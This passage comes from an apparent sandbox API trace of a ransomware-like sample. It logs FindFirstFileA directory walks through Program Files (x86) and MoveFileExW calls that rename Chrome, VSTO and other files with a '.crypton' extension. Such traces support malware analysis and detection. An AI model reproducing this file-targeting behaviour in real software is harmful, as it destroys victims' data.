ftLastWriteTime.dwLowDateTime=0xde420460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.579] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde4465c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4465c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.582] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xde4465c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4465c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.587] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde4465c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4465c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.591] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde4465c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4465c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.595] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde46c720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde46c720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.599] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde46c720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde46c720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.604] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde46c720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde46c720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.608] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde46c720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde46c720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.615] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde492880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde492880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.617] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.config.crypton" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.crypton"), dwFlags=0x2) returned 1 [0162.626] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde492880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde492880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.630] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde4b89e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4b89e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.636] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xde4b89e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4b89e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.641] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde4deb40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4deb40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0162.646] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde4deb40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4deb40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0162.651] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde4deb40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde4deb40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.651] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.653] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0162.662] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0162.669] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde504ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde504ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0162.676] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\ado\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde52ae00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde52ae00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.681] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xde52ae00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde52ae00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.686] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xde52ae00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde52ae00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.691] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\msadc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde550f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde550f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.696] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xde550f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde550f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.700] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xde550f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde550f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.705] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xde5770c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde5770c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.710] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xde5770c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde5770c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0162.722] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xde59d220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde59d220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0162.725] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xde59d220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde59d220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.728] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xde59d220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xde59d220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.995] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak.crypton"), dwFlags=0x2) returned 1 [0163.301] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak.crypton"), dwFlags=0x2) returned 1 [0163.308] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdeb1e500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdeb1e500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0163.314] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdeb44660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdeb44660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0163.725] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat.crypton"), dwFlags=0x2) returned 1 [0163.732] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdef22a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdef22a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0164.020] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z.crypton"), dwFlags=0x2) returned 1 [0164.031] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdf21c5a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdf21c5a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0164.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\am.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\am.pak.crypton"), dwFlags=0x2) returned 1 [0164.581] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ar.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ar.pak.crypton"), dwFlags=0x2) returned 1 [0164.870] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bg.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bg.pak.crypton"), dwFlags=0x2) returned 1 [0165.165] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bn.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bn.pak.crypton"), dwFlags=0x2) returned 1 [0165.359] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ca.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ca.pak.crypton"), dwFlags=0x2) returned 1 [0165.818] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\cs.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak.crypton" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\cs.pak.crypton"), dwFlags=0x2) returned 1 [0166.022] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak" (normalized: 